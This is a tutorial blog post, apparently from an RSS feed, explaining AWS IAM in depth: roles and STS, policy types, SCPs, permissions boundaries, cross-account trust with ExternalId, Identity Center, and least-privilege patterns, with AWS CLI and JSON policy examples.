th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><em><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → </em><em>AWS IAM Deep Dive</em><em> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a></em></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>IAM users with long-lived access keys are legacy — use <strong>IAM Identity Center with federation</strong>; static keys are a security finding, not a feature</li>
<li>Roles issue temporary credentials via STS — the right identity model for every service (Lambda, EC2, ECS, CI/CD)</li>
<li>Every role has <strong>two required configs</strong>: trust policy (who can assume it) + permission policy (what it can do) — both must be correct</li>
<li><strong>SCPs</strong> set the org-level ceiling; they cannot grant permissions and do not apply to the management account</li>
<li><strong>Permissions boundaries</strong> set an identity-level ceiling — effective permissions are the <em>intersection</em> with identity-based policies, not the union</li>
<li>Cross-account trust without an <code class="" data-line="">ExternalId</code> condition is vulnerable to the confused deputy attack — always include it with third-party trust</li>
<li>One role per service, never shared — a shared role&#8217;s blast radius is the union of what every consumer needs</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<p>AWS IAM evaluates every API call through a specific chain. Understanding this chain is how you debug access issues and how you design guardrails that actually hold.</p>
<pre><code class="" data-line="">  AWS POLICY EVALUATION — every API call walks this chain top to bottom
  An explicit DENY at any step ends evaluation immediately.

         API call arrives
               │
               ▼
  ┌────────────────────────────┐
  │  Explicit DENY in any SCP? │── YES ──────────────────────────► DENIED
  └────────────────┬───────────┘     (cannot be overridden by anything)
                   │ NO
                   ▼
  ┌────────────────────────────┐
  │  SCP present with no ALLOW │── YES ──────────────────────────► DENIED
  └────────────────┬───────────┘
                   │ NO (or no SCP / management account)
                   ▼
  ┌────────────────────────────┐
  │  Explicit DENY in any      │── YES ──────────────────────────► DENIED
  │  identity or resource      │
  │  policy?                   │
  └────────────────┬───────────┘
                   │ NO
                   ▼
  ┌────────────────────────────┐
  │  Resource-based policy     │── YES (same-account principal) ──► ALLOWED*
  │  with ALLOW?               │
  └────────────────┬───────────┘   *unless denied above
                   │ NO
                   ▼
  ┌────────────────────────────┐
  │  Permissions boundary      │── YES, boundary has NO ALLOW ───► DENIED
  │  attached?                 │
  └────────────────┬───────────┘
                   │ NO boundary, or boundary ALLOWS
                   ▼
  ┌────────────────────────────┐
  │  Session policy attached   │── YES, session has NO ALLOW ────► DENIED
  │  (role assumption)?        │
  └────────────────┬───────────┘
                   │ NO session policy, or session ALLOWS
                   ▼
  ┌────────────────────────────┐
  │  Identity-based policy     │── YES ──────────────────────────► ALLOWED
  │  with ALLOW?               │
  └────────────────┬───────────┘
                   │ NO
                   ▼
                DENIED (default — nothing explicitly granted)

  Debugging AccessDenied: work bottom-up.
  Start with the identity-based policy. Then boundary. Then SCP.
</code></pre>
<hr />
<h2 id="introduction">Introduction</h2>
<p>An AWS IAM deep dive reveals what most teams miss: the difference between an IAM model that works under deadline and one that survives scale, audits, and staff turnover. If you&#8217;ve read <a href="/iam-roles-policies-permissions-explained/">IAM roles vs policies</a> and understand the three-layer stack, this is where it becomes specific to AWS — trust policies, SCPs, permissions boundaries, cross-account trust, and Identity Center.</p>
<p>In 2017 I was asked to help clean up an AWS account that had been running in production for two years. The team had built something real — a microservices application, a data pipeline, a CI/CD system. Competent engineers. But nobody had been specifically accountable for IAM.</p>
<p>When I pulled the configuration:</p>
<ul>
<li>One IAM user with <code class="" data-line="">AdministratorAccess</code> shared by the entire dev team. Password in a shared password manager. Access key three years old.</li>
<li>Six Lambda functions each carrying <code class="" data-line="">AWSLambdaFullAccess</code>, <code class="" data-line="">AmazonS3FullAccess</code>, and <code class="" data-line="">AmazonDynamoDBFullAccess</code> — three broad managed policies each, instead of one custom policy with what each function actually needed.</li>
<li>A CI/CD pipeline role with <code class="" data-line="">iam:*</code> on <code class="" data-line="">*</code> because someone once needed to create a role during a deployment and found that the easiest path.</li>
<li>Three IAM users for contractors who had finished their engagements months earlier. Still active, access keys still valid.</li>
</ul>
<p>None of this was malicious. All of it was the result of reaching for the broadest thing that works, under deadline, without a framework for IAM decisions.</p>
<p>AWS IAM is the most flexible cloud IAM system. That flexibility is the problem. If you don&#8217;t know the full model, you default to broad grants because they&#8217;re easier to reason about. Broad things accumulate into exposure. This episode is the full model.</p>
<hr />
<h2 id="aws-iam-identity-types-users-groups-and-roles-compared">AWS IAM Identity Types: Users, Groups, and Roles Compared</h2>
<h3 id="iam-users-why-static-access-keys-are-a-security-finding">IAM Users: Why Static Access Keys Are a Security Finding</h3>
<p>An IAM user is a permanent identity with long-lived credentials: a password for console access, and optionally an access key pair. No expiry on the access key by default.</p>
<pre><code class="" data-line=""># Create a user
aws iam create-user --user-name alice

# Generate an access key — no expiry unless you set one
aws iam create-access-key --user-name alice

# Enforce MFA for console access
aws iam create-virtual-mfa-device \
  --virtual-mfa-device-name alice-mfa \
  --outfile /tmp/alice-mfa.png \
  --bootstrap-method QRCodePNG

aws iam enable-mfa-device \
  --user-name alice \
  --serial-number arn:aws:iam::123456789012:mfa/alice-mfa \
  --authentication-code1 123456 \
  --authentication-code2 654321
</code></pre>
<p>The access key exists the moment you create it. It survives team changes, org restructures, and offboarding unless someone explicitly deletes it. In practice, access keys are where I find the oldest, most-forgotten credentials in every AWS account I&#8217;ve audited.</p>
<p><strong>Current best practice: don&#8217;t create IAM users for human access.</strong> Use IAM Identity Center with federation. Static access keys are a finding, not a feature.</p>
<h3 id="iam-groups-useful-but-limited">IAM groups — useful but limited</h3>
<p>Groups are collections of users. Policies attached to a group apply to all members. Useful as a middle layer, but limited: you can&#8217;t add roles or services to a group, and if you&#8217;re moving toward Identity Center, groups in IAM become less relevant.</p>
<pre><code class="" data-line="">aws iam create-group --group-name Backend-Developers
aws iam attach-group-policy \
  --group-name Backend-Developers \
  --policy-arn arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess
aws iam add-user-to-group --group-name Backend-Developers --user-name alice
</code></pre>
<h3 id="iam-roles-how-sts-temporary-credentials-work">IAM Roles: How STS Temporary Credentials Work</h3>
<p>A role is an identity without permanent credentials. It is assumed by entities — services, users, external systems — and STS issues temporary credentials. Those credentials expire. Nothing to rotate.</p>
<pre><code class="" data-line=""># Create a role that EC2 can assume
cat &gt; ec2-trust-policy.json &lt;&lt; &#039;EOF&#039;
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: { &quot;Service&quot;: &quot;ec2.amazonaws.com&quot; },
    &quot;Action&quot;: &quot;sts:AssumeRole&quot;
  }]
}
EOF

aws iam create-role \
  --role-name AppServerRole \
  --assume-role-policy-document file://ec2-trust-policy.json

aws iam attach-role-policy \
  --role-name AppServerRole \
  --policy-arn arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess

# EC2 needs an instance profile to carry the role
aws iam create-instance-profile --instance-profile-name AppServerProfile
aws iam add-role-to-instance-profile \
  --instance-profile-name AppServerProfile \
  --role-name AppServerRole

# Launch with the profile
aws ec2 run-instances \
  --image-id ami-0abcdef1234567890 \
  --instance-type t3.micro \
  --iam-instance-profile Name=AppServerProfile
</code></pre>
<p>From inside the instance — no credential files, no configuration:</p>
<pre><code class="" data-line="">curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AppServerRole
# Returns: AccessKeyId, SecretAccessKey, Token, Expiration
# AWS refreshes these before they expire. The application never sees a rotation event.
</code></pre>
<p>Lambda, ECS, and other services use different attachment mechanisms but the same model.</p>
<hr />
<h2 id="aws-iam-policy-types-managed-inline-scp-and-boundaries">AWS IAM Policy Types: Managed, Inline, SCP, and Boundaries</h2>
<h3 id="managed-vs-inline-policies">Managed vs inline policies</h3>
<pre><code class="" data-line="">┌────────────────────┬──────────────────────────────────┬──────────────────────────────────────┐
│ Type               │ Description                      │ Use when                             │
├────────────────────┼──────────────────────────────────┼──────────────────────────────────────┤
│ AWS Managed        │ Created by AWS, read-only        │ Quick prototyping; never production  │
│ Customer Managed   │ Created by you, reusable         │ Standard production permissions      │
│ Inline             │ Embedded in user/group/role      │ Explicit 1:1 non-transferable binding│
└────────────────────┴──────────────────────────────────┴──────────────────────────────────────┘
</code></pre>
<p>AWS Managed policies like <code class="" data-line="">AmazonS3FullAccess</code> are convenient and dangerous for the same reason: broad by design, meant to cover every use case. For a Lambda that reads one specific bucket, <code class="" data-line="">AmazonS3FullAccess</code> grants approximately 30 permissions you didn&#8217;t need.</p>
<pre><code class="" data-line=""># Create a customer managed policy — scoped to what the Lambda actually does
cat &gt; lambda-reader-policy.json &lt;&lt; &#039;EOF&#039;
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Sid&quot;: &quot;ReadSpecificBucket&quot;,
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: [&quot;s3:GetObject&quot;, &quot;s3:ListBucket&quot;],
    &quot;Resource&quot;: [
      &quot;arn:aws:s3:::app-data-prod&quot;,
      &quot;arn:aws:s3:::app-data-prod/*&quot;
    ]
  }]
}
EOF

aws iam create-policy \
  --policy-name LambdaS3ReadPolicy \
  --policy-document file://lambda-reader-policy.json

aws iam attach-role-policy \
  --role-name lambda-image-processor-role \
  --policy-arn arn:aws:iam::123456789012:policy/LambdaS3ReadPolicy
</code></pre>
<h3 id="service-control-policies-org-wide-guardrails">Service Control Policies — org-wide guardrails</h3>
<p>SCPs attach to AWS Organization OUs or accounts. They define the maximum permissions any identity in that scope can have. They cannot grant — only restrict.</p>
<p>Two SCPs I apply to every account from day one:</p>
<pre><code class="" data-line="">// Region restriction — blast radius control
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Deny&quot;,
    &quot;Action&quot;: &quot;*&quot;,
    &quot;Resource&quot;: &quot;*&quot;,
    &quot;Condition&quot;: {
      &quot;StringNotEquals&quot;: {
        &quot;aws:RequestedRegion&quot;: [&quot;ap-south-1&quot;, &quot;us-east-1&quot;, &quot;eu-west-1&quot;]
      }
    }
  }]
}
</code></pre>
<pre><code class="" data-line="">// Protect the audit trail — anti-forensics control
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Deny&quot;,
    &quot;Action&quot;: [
      &quot;cloudtrail:StopLogging&quot;,
      &quot;cloudtrail:DeleteTrail&quot;,
      &quot;cloudtrail:UpdateTrail&quot;
    ],
    &quot;Resource&quot;: &quot;*&quot;
  }]
}
</code></pre>
<p>The region restriction limits where compromised credentials can operate. The CloudTrail restriction means even an <code class="" data-line="">AdministratorAccess</code> compromise cannot erase the audit trail. The attacker knows they&#8217;re being logged and cannot stop it. This is the authorization layer — understanding <a href="/authentication-vs-authorization-iam/">authentication vs authorization</a> makes clear why SCPs operate at Gate 2, not Gate 1.</p>
<h3 id="permissions-boundaries-identity-level-ceilings">Permissions boundaries — identity-level ceilings</h3>
<p>A permissions boundary sets the maximum permissions for a specific user or role. Effective permissions are the <strong>intersection</strong> of what the boundary allows and what identity-based policies grant.</p>
<pre><code class="" data-line="">Boundary allows:  s3:*, dynamodb:*
Identity policy:  s3:*, ec2:*
──────────────────────────────────
Effective:        s3:*             ← the intersection only
</code></pre>
<pre><code class="" data-line="">// Boundary: this role can use at most S3 and DynamoDB
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: [&quot;s3:*&quot;, &quot;dynamodb:*&quot;],
    &quot;Resource&quot;: &quot;*&quot;
  }]
}
</code></pre>
<pre><code class="" data-line="">aws iam put-role-permissions-boundary \
  --role-name DevTeamRole \
  --permissions-boundary arn:aws:iam::123456789012:policy/DevTeamBoundary
</code></pre>
<p>I use permissions boundaries for safe IAM delegation. When a dev team needs to create their own roles for their services, I give them <code class="" data-line="">iam:CreateRole</code> and <code class="" data-line="">iam:AttachRolePolicy</code> — but require any role they create to have a specific boundary. They can self-service IAM without accidentally creating a role more powerful than their team should have.</p>
<hr />
<h2 id="how-aws-cross-account-iam-trust-works">How AWS Cross-Account IAM Trust Works</h2>
<p>AWS accounts are IAM isolation boundaries. An identity in Account A has zero access to Account B by default. Cross-account access requires explicit trust in both directions.</p>
<pre><code class="" data-line="">Account B creates a role with a trust policy naming Account A&#039;s identity.
Account A&#039;s identity has permission to call sts:AssumeRole on that role.
</code></pre>
<pre><code class="" data-line="">// Account B: trust policy on the cross-account role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: {
      &quot;AWS&quot;: &quot;arn:aws:iam::ACCOUNT_A_ID:role/DeployPipelineRole&quot;
    },
    &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
    &quot;Condition&quot;: {
      &quot;StringEquals&quot;: { &quot;sts:ExternalId&quot;: &quot;unique-external-id-12345&quot; }
    }
  }]
}
</code></pre>
<pre><code class="" data-line=""># Account A: the pipeline assumes the cross-account role
aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT_B_ID:role/DeployTarget \
  --role-session-name pipeline-deploy \
  --external-id unique-external-id-12345

# Export the temporary credentials and operate in Account B
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws s3 ls s3://account-b-bucket/
</code></pre>
<p>The <code class="" data-line="">ExternalId</code> condition prevents the <strong>confused deputy</strong> attack. Without it, if you operate a service that assumes roles on behalf of customers, an attacker who knows your service&#8217;s ARN can trick it into assuming their customer&#8217;s role.</p>
<p>The ExternalId is a shared secret proving the party requesting assumption is the one who established the trust. Always include it for third-party cross-account trust.</p>
<hr />
<h2 id="aws-iam-identity-center-federated-human-access-without-static-keys">AWS IAM Identity Center: Federated Human Access Without Static Keys</h2>
<p>IAM Identity Center (formerly AWS SSO) is the modern answer to &#8220;how do engineers access AWS accounts?&#8221; It federates an external IdP and maps your organization&#8217;s groups to Permission Sets.</p>
<pre><code class="" data-line="">  Okta / Google Workspace / Entra ID
    ↓ SAML 2.0 or OIDC
  IAM Identity Center
    ↓ Permission Sets (collections of policies)
  Account Assignments (group → permission set → account)
    ↓
  Temporary credentials in each target account (no long-lived keys)
</code></pre>
<pre><code class="" data-line=""># Configure CLI access via Identity Center
aws configure sso
# Prompts: SSO start URL, region, account, role

# Login — browser opens for IdP auth
aws sso login --profile prod-admin

# Use normally — credentials are temporary and auto-refreshed
aws s3 ls --profile prod-admin
aws ec2 describe-instances --profile prod-admin
</code></pre>
<p>When someone leaves the organization: disable them in your IdP. Their SSO session expires, their temporary credentials expire, access is gone. That&#8217;s it — no access key hunting across 20 accounts.</p>
<hr />
<h2 id="aws-iam-patterns-for-production-what-survives-scale">AWS IAM Patterns for Production: What Survives Scale</h2>
<h3 id="one-role-per-service-never-share">One role per service — never share</h3>
<p>Every Lambda, ECS task, and EC2 application gets its own role. Even two Lambdas doing similar things. The moment you share a role, its permissions are the union of what each consumer needs — and a compromise of one consumer exposes the full union.</p>
<pre><code class="" data-line=""># Dedicated execution role — specific to this function&#039;s actual needs
aws iam create-role \
  --role-name lambda-invoice-processor-role \
  --assume-role-policy-document \
  &#039;{&quot;Version&quot;:&quot;2012-10-17&quot;,&quot;Statement&quot;:[{&quot;Effect&quot;:&quot;Allow&quot;,&quot;Principal&quot;:{&quot;Service&quot;:&quot;lambda.amazonaws.com&quot;},&quot;Action&quot;:&quot;sts:AssumeRole&quot;}]}&#039;

aws iam put-role-policy \
  --role-name lambda-invoice-processor-role \
  --policy-name InvoiceProcessorPolicy \
  --policy-document file://lambda-invoice-processor-policy.json
</code></pre>
<h3 id="iam-escalation-guardrail">IAM escalation guardrail</h3>
<p>Any role that isn&#8217;t an explicit IAM admin should have a guardrail blocking escalation actions:</p>
<pre><code class="" data-line="">{
  &quot;Sid&quot;: &quot;DenyIAMEscalation&quot;,
  &quot;Effect&quot;: &quot;Deny&quot;,
  &quot;Action&quot;: [
    &quot;iam:CreateUser&quot;, &quot;iam:CreateRole&quot;, &quot;iam:AttachRolePolicy&quot;,
    &quot;iam:PutRolePolicy&quot;, &quot;iam:PassRole&quot;, &quot;iam:CreateAccessKey&quot;
  ],
  &quot;Resource&quot;: &quot;*&quot;,
  &quot;Condition&quot;: {
    &quot;StringNotEquals&quot;: {
      &quot;aws:PrincipalArn&quot;: &quot;arn:aws:iam::123456789012:role/InfraAdminRole&quot;
    }
  }
}
</code></pre>
<p>Even if a role gets over-permissioned, it cannot create users, escalate its own privileges, or pass roles to expand its access. Defense in depth against the privilege escalation paths covered in <a href="/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</a>.</p>
<h3 id="least-privilege-with-tag-conditions">Least privilege with tag conditions</h3>
<pre><code class="" data-line="">{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: [&quot;ec2:StartInstances&quot;, &quot;ec2:StopInstances&quot;, &quot;ec2:RebootInstances&quot;],
  &quot;Resource&quot;: &quot;arn:aws:ec2:*:*:instance/*&quot;,
  &quot;Condition&quot;: {
    &quot;StringEquals&quot;: {
      &quot;aws:ResourceTag/Environment&quot;: &quot;dev&quot;,
      &quot;aws:ResourceTag/Owner&quot;: &quot;${aws:username}&quot;
    }
  }
}
</code></pre>
<p>A developer can control EC2 instances in dev — specifically the ones tagged as theirs. Not prod. Not someone else&#8217;s instances. ABAC layered on a role, eliminating a class of privilege escalation through direct resource access.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<pre><code class="" data-line="">╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 1 — SCPs don&#039;t apply to the management account          ║
║                                                                      ║
║  SCPs are applied to member accounts and OUs — not to the org      ║
║  management account. Guardrails you apply to member accounts do    ║
║  not protect the management account itself.                         ║
║                                                                      ║
║  Fix: lock down the management account separately. Use it only for  ║
║  billing and org management. Never run workloads in it.             ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 2 — Permissions boundary ≠ policy grant                 ║
║                                                                      ║
║  A boundary that allows s3:* does NOT grant S3 access. The         ║
║  boundary is a ceiling. Effective permissions are the intersection  ║
║  of boundary + identity policy. Both must explicitly Allow.         ║
║                                                                      ║
║  Fix: after setting a boundary, check effective permissions with:   ║
║  aws iam simulate-principal-policy                                  ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 3 — Cross-account trust without ExternalId              ║
║                                                                      ║
║  A trust policy that names any principal from Account A without     ║
║  ExternalId can be exploited if you operate a multi-tenant service. ║
║  An attacker can craft a request that tricks your service into      ║
║  assuming a victim&#039;s role (confused deputy).                        ║
║                                                                      ║
║  Fix: always add ExternalId condition to third-party trust policies.║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 4 — iam:* on * in CI/CD role                           ║
║                                                                      ║
║  &quot;The pipeline needs to create roles&quot; is a legitimate requirement.  ║
║  Granting iam:* on * is not. It lets the pipeline create any role  ║
║  with any permissions — effectively full account access.            ║
║                                                                      ║
║  Fix: grant specific iam: actions, require all created roles to     ║
║  carry a permissions boundary. Delegate without escalating.         ║
╚══════════════════════════════════════════════════════════════════════╝
</code></pre>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<pre><code class="" data-line="">┌───────────────────────────┬───────────────────────────────────────────────────────────┐
│ Term                      │ What it is                                                │
├───────────────────────────┼───────────────────────────────────────────────────────────┤
│ IAM User                  │ Permanent identity with long-lived credentials — legacy   │
│ IAM Role                  │ Assumable identity; STS issues temp creds — preferred     │
│ Trust policy              │ Who can assume this role (separate from permissions)      │
│ Instance profile          │ Container that attaches a role to an EC2 instance        │
│ AWS Managed policy        │ Broad, maintained by AWS — avoid in production           │
│ Customer Managed policy   │ You own it, you scope it — correct default               │
│ Inline policy             │ 1:1 binding, non-reusable — use only when intentional    │
│ SCP                       │ Org-level guardrail; constrains, does not grant          │
│ Permissions boundary      │ Identity-level ceiling; intersection with policy = effective│
│ Session policy            │ Restricts a specific role assumption session             │
│ ExternalId                │ Shared secret in cross-account trust — prevents confused deputy│
│ IAM Identity Center       │ Federated human access via SSO; no long-lived keys       │
│ Permission Set            │ Policy collection in Identity Center → becomes role in account│
└───────────────────────────┴───────────────────────────────────────────────────────────┘

Commands to know:
┌────────────────────────────────────────────────────────────────────────────────────────┐
│  # Simulate a policy before deploying — will this call succeed?                      │
│  aws iam simulate-principal-policy \                                                  │
│    --policy-source-arn arn:aws:iam::ACCOUNT:role/MyRole \                            │
│    --action-names s3:GetObject \                                                      │
│    --resource-arns arn:aws:s3:::my-bucket/*                                          │
│                                                                                        │
│  # Full IAM snapshot of the account — all users, roles, policies, groups            │
│  aws iam get-account-authorization-details --output json &gt; iam-snapshot.json         │
│                                                                                        │
│  # Find unused permissions — what does this role actually call?                      │
│  aws iam generate-service-last-accessed-details \                                     │
│    --arn arn:aws:iam::ACCOUNT:role/MyRole                                            │
│  aws iam get-service-last-accessed-details --job-id JOB_ID                           │
│                                                                                        │
│  # List all access keys and their age                                                │
│  aws iam list-users --query &#039;Users[].UserName&#039; --output text | \                    │
│    xargs -I{} aws iam list-access-keys --user-name {}                               │
│                                                                                        │
│  # Check effective permissions boundary on a role                                    │
│  aws iam get-role --role-name MyRole \                                               │
│    --query &#039;Role.PermissionsBoundary&#039;                                                │
│                                                                                        │
│  # Assume a cross-account role                                                       │
│  aws sts assume-role \                                                                │
│    --role-arn arn:aws:iam::TARGET_ACCOUNT:role/CrossAccountRole \                   │
│    --role-session-name deploy-session \                                               │
│    --external-id your-external-id                                                    │
└────────────────────────────────────────────────────────────────────────────────────────┘
</code></pre>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>AWS IAM is the most widely deployed cloud IAM system; this covers the full model</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 6 — Security Assessment and Testing</td>
<td>Policy evaluation logic is the foundation for cloud security assessments</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Access control policy in AWS — SCPs, identity-based policies, resource-based policies</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>User and role provisioning, permission boundaries, Identity Center assignments</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.2 Privileged access rights</td>
<td>IAM Identity Center, SCPs as org-level guardrails, least-privilege role design</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>AWS IAM is the primary technical control for CC6.1 in AWS-hosted environments</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.3</td>
<td>Identity Center with federation enables auditable access provisioning and removal</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.6</td>
<td>Cross-account trust relationships and ExternalId address third-party access controls</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>IAM users with static access keys are legacy for human access — use IAM Identity Center with federation; static keys are a persistent finding</li>
<li>Roles issue temporary credentials and are the right identity for every service — Lambda, EC2, ECS, CI/CD, cross-account</li>
<li>Trust policy controls who can assume a role; permission policy controls what the role can do — debug both when access fails</li>
<li>SCPs cap maximum permissions at org level and cannot be overridden — use them for region restriction and audit trail protection; they do not apply to the management account</li>
<li>Permissions boundaries cap at identity level — effective permissions are the intersection with identity-based policies, not the union</li>
<li>Cross-account trust without <code class="" data-line="">ExternalId</code> is vulnerable to confused deputy — always include it with third-party trust</li>
<li>One role per service; share nothing — a shared role&#8217;s blast radius is the union of every consumer&#8217;s required permissions</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP05 moves to GCP IAM — a fundamentally different model where the resource hierarchy drives access inheritance. A misconfiguration at the folder level affects every project below it. We&#8217;ll cover why <code class="" data-line="">roles/editor</code> keeps appearing in production audits and how to build a GCP IAM structure that composes correctly up the hierarchy.</p>
<p>Get the GCP IAM deep dive in your inbox when it publishes → https://linuxcent.com/subscribe</p>
<p><em>Next: <a href="/gcp-iam-deep-dive/">GCP IAM Policy Inheritance: How the Resource Hierarchy Controls Access</a></em></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&#038;title=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" data-a2a-url="https://linuxcent.com/aws-iam-deep-dive/" data-a2a-title="AWS IAM Deep Dive: Users, Groups, Roles, and Policies Explained"></a></p><p>The post <a href="https://linuxcent.com/aws-iam-deep-dive/">AWS IAM Deep Dive: Users, Groups, Roles, and Policies Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/aws-iam-deep-dive/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1459</post-id>	</item>
		<item>
		<title>What Is Cloud IAM — and Why Every API Call Depends on It</title>
		<link>https://linuxcent.com/what-is-cloud-iam/</link>
